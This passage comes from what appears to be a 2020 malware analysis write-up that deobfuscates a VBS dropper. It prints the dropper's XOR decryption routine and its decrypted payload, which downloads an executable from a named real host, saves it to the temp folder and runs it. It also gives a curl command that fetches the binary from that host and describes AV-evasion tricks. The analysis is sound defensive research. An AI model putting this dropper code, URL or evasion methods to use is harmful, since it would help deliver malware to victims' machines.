By removing the extra operations and simplifying the math in the if / else trees, the function becomes:

Simplified version of NpNt (renamed to decrypt)

To help understand the execution flow, I renamed CTS to crypted , V1VI to key , and the function NpNt to decrypt , and EAlt to XOR_func . I know I jumped the gun a bit, but I’ll explain EAlt in a minute. The function seems to step character by character, seeing if the character is “1” (48) through “9” (57), XOR’ing that with a given key, then appending the char value to a placeholder string, which is then returned. In summary, every numeric value in the encrypted string is XOR’d with the given key. As promised, here is the original version of EAlt :

Function EAlt, which performs an XOR between two values

Even without simplifying the function it is apparent the function is merely returning the XOR of two values. Still, here is the simplified version:

Simplified version of function EAlt (renamed to XOR_Func)

Armed now with the understanding of the decryption routine, I returned to the place I left near the bottom. Again, I saw 3 rounds of decryption, but this time with another string. Here, I also saw additional variables being assigned values for use in the execution, so as above I continued marking them as important. This continued up the script until I was met with the string JHm , for which I conveniently renamed to salt_string . After going over the lines earmarked with “ '!!! ” a few times to ensure I hadn’t skipped any, I copied over a much simplified version of the VBS [full code here]:

On Error Resume Next

dim crypt_string_1, crypt_string, UeS, embedded crypt_string_1 = “6RE0POgBnj23]11@(123yX121+X7 D4<j?V14oqpH¹⁷DPjj=%86 lw.G9CY4|h17<12{mj97/*(tl91x$2qtC9MK.W-17

…

D123h,6ue4#bm96e13Ie:/90R127v*PY}64w6kv;b6jsy66;o96k~Q17xHR3:tjbl 8Il g*123F$n~(108=:” crypt_string = “7hu] Zp8.b^W70I96}{r^*92NH@g$W23Y [O]26pRn)119g 9 H6XIle119k?r127)4w])-P105!9Or&O5PMh27 P16%<6brP9agUW-

…

~:7.s6kV |s 117$iN110GM/tE72zw&90hz-tz119#OHXeb6BL T*2 <Bk117y#esV⁷⁹ICk)27I8 Nft3*%-56n111bi)o101ts U99)m” function decrypt(crypted, key)

On Error Resume Next UUf = crypted

sJs = “” ‘!!!

wWLu = “”

FETw = 1 for i=1 to len(UUf)

if ( asc(mid(UUf, i, 1)) > 47 and asc(mid(UUf, i, 1)) < 58 ) then

sJs = sJs + mid(UUf, i, 1) ‘!!!

FETw = 1

else

if FETw = 1 then

NEL = CInt(sJs) ‘!!!

VIxJ = XOR_Func(NEL, key) ‘!!!

wWLu = wWLu + Chr(VIxJ) ‘!!!

end if



sJs = “”

FETw = 0

end if

vkB = bEBk or CFc next

decrypt = wWLu

end function function XOR_Func(qit, ANF)

On Error Resume Next

sCLx = qit xor ANF

XOR_Func = sCLx

end function sleeper = 30000 salt_string = “C6hgj1I6rLntt9yp40AlGkkiDYvoPq0Ca3HoxUgnVzzpA9QuuUlwxwqdHrvij5JsD9CrXaQHE1eciRkGuseHy7yFOUumRC1KqXyub6gzUbd5c4esDU7Ti5Bdr7

…AYJh217uJjkbv8Xmcn4cF3rJoYJoLnag7BnHawAypYvFbujSUVNbaRBLJdlHxU45bLrWHvrvkfEProXdyeBdm5Y66COZcruLjvYKn0wYKVxCc” qrB = 13

Rha = 8 For i = 0 To 2387406 Step 1

gxa = gxa + qrB — Rha ‘ 13–8 plus previous gxa value ‘!!!

Next

xmh = 999999

gxa = gxa * xmh ‘!!!

tcA = CStr(gxa) ‘!!!

rWd = Mid(tcA, 7, 2)

ncA = CInt(rWd) ‘!!!

rgcQ = Asc(Mid(salt_string, ncA, 1)) ‘!!!

rWd = Mid(tcA, 8, 2) ‘!!!

ncA = CInt(rWd) ‘!!!

kdJO = Asc(Mid(salt_string, ncA, 1)) ‘!!!

rWd = Mid(tcA, 9,2) ‘!!!

ncA = CInt(rWd) ‘!!!

NIjg = Asc(Mid(salt_string, ncA, 1)) ‘!!!

UeS = decrypt(crypt_string_1, NIjg) ‘!!!

UeS = decrypt(UeS, kdJO) ‘!!!

UeS = decrypt(UeS, rgcQ) ‘!!!

WScript.Echo UeS ‘ added so I can view UeS

embedded = decrypt(crypt_string, NIjg) ‘!!!

embedded = decrypt(embedded, kdJO) ‘!!!

embedded = decrypt(embedded, rgcQ) ‘!!!

WScript.Sleep sleeper '!!! Sleep 30 seconds

Wscript.Echo embedded 'added so I can see embedded

‘eXEcUTegLObAL embedded 'execute embedded VBScript — commented out so it will not run

I felt pretty confident that I understood what the execution chain of the script was doing, so I now opened the script in Visual Studio for debugging by issuing the command:

cscript /X <script.vbs>

Upon setting a breakpoint on the final call of the script, the values of UeS and embedded (was qFf ) can be seen:

Value of UeS decrypted displayed

Value of qFf (renamed embedded) decrypted displayed

on error resume next

arr=split(UeS,”___”)

set a=WScript.CreateObject(arr(0))

set b=WScript.CreateObject(arr(1))

f=a.ExpandEnvironmentStrings(arr(2))&arr(3)

set c=a.CreateShortcut(f)

c.TargetPath=arr(4)

c.Save

if b.FileExists(f)=false Then

e=a.ExpandEnvironmentStrings(arr(2))&arr(5)

Call u

sub u

set d=createobject(arr(6))

set w=createobject(arr(7))

d.Open arr(8),arr(9),False

d.setRequestHeader arr(10),arr(11)

d.Send

with w

.type=1

.open

.write d.responseBody

.savetofile e,2

end with

end sub

WScript.Sleep 60000

a.Exec(e)

end if

As seen above, it was apparent that the values of UeS (broken out below) are fed into the embedded code block. Then with some string manipulation, a file (“ VideoBoost.exe ”) is saved to the user’s temp folder, execution is slept for 60 seconds, and then the binary is executed.

Values of variable “UeS” split apart

Replacing executeGlobal with the value of embedded , and executing the script in the same fashion (with the breakpoint set at the last WScript.Echo as above), the final round of string obfuscation can be defeated, and the location of the executable that is dropped by this VBS dropper can be seen by stepping through the execution block:

Breakpoint before malware is saved, with the URL variable displayed

It can be seen above, in the UeS breakout, the URL the VBS dropper is fetching is “ venicefcmiami.com/wp-content/uploads/2019/10/zxm/asdgysgdysffs.png?bg=spx29 ”. Also, the VBS is sending a User-Agent of “Windows” and saving the response as an .exe . Performing a curl to that URL, I was indeed provided an executable as a response:

$ curl — user-agent “Windows” http://venicefcmiami.com/wp-content/uploads/2019/10/zxm/asdgysgdysffs.png?bg=spx29 — output 1.exe

% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed

100 724k 100 724k 0 0 298k 0 00:00:02 0:01:12 — : — : — 298k % Total % Received % Xferd Average Speed Time Time Time CurrentDload Upload Total Spent Left Speed100 724k 100 724k 0 0 298k 0 00:00:02 0:01:12 — : — : — 298k $ file 1.exe

1.exe: PE32 executable (GUI) Intel 80386, for MS Windows

Submitting this executable to VirusTotal, I was provided the following (If you’d like to deep dive into this file, the SHA-256 is b970241209f848d51ac37a68ae92c90b2c704b343c66e4f9a849390be5d4c2f3 ):

VirusTotal findings for the downloaded executable

VirusTotal findings, detailed, of the downloaded executable

Interesting enough, submitting the VBS dropper from the ZIP file in VirusTotal provided these details (SHA-256 is 0b3cc47c138842bb41b32c9ac1118e8aca0d7b7e8550cbf34ff272023854094a ):

VirusTotal findings for the VBS dropper

As suggested earlier, the evasion techniques of sleep, long comments, bogus operations, and string encryption seem to bypass detection on numerous AV platforms (Windows Defender did not seem to care about the VBS dropper either in my personal sandbox either).

Some final points: yes, a simple WScript.Echo could have been placed right after the final assignment of UeS or qFf variables and provide much of the same information (but would it have been as much fun?); yes, I would highly suggest not running this or any piece of malware no matter how defanged you believe it is on a production (or non-sandbox) system; and finally, yes, VBS malware still exists in 2020!

Pondering life’s deepest questions

If I get around to it, I’d like to break down the executable that is fetched, but for now, I leave that as an exercise for the reader. Happy hunting!

REFERENCES

1 — https://www.vbsedit.com/html/25ebfa26-d3b9-4f82-b3c9-a8568a389dbc.asp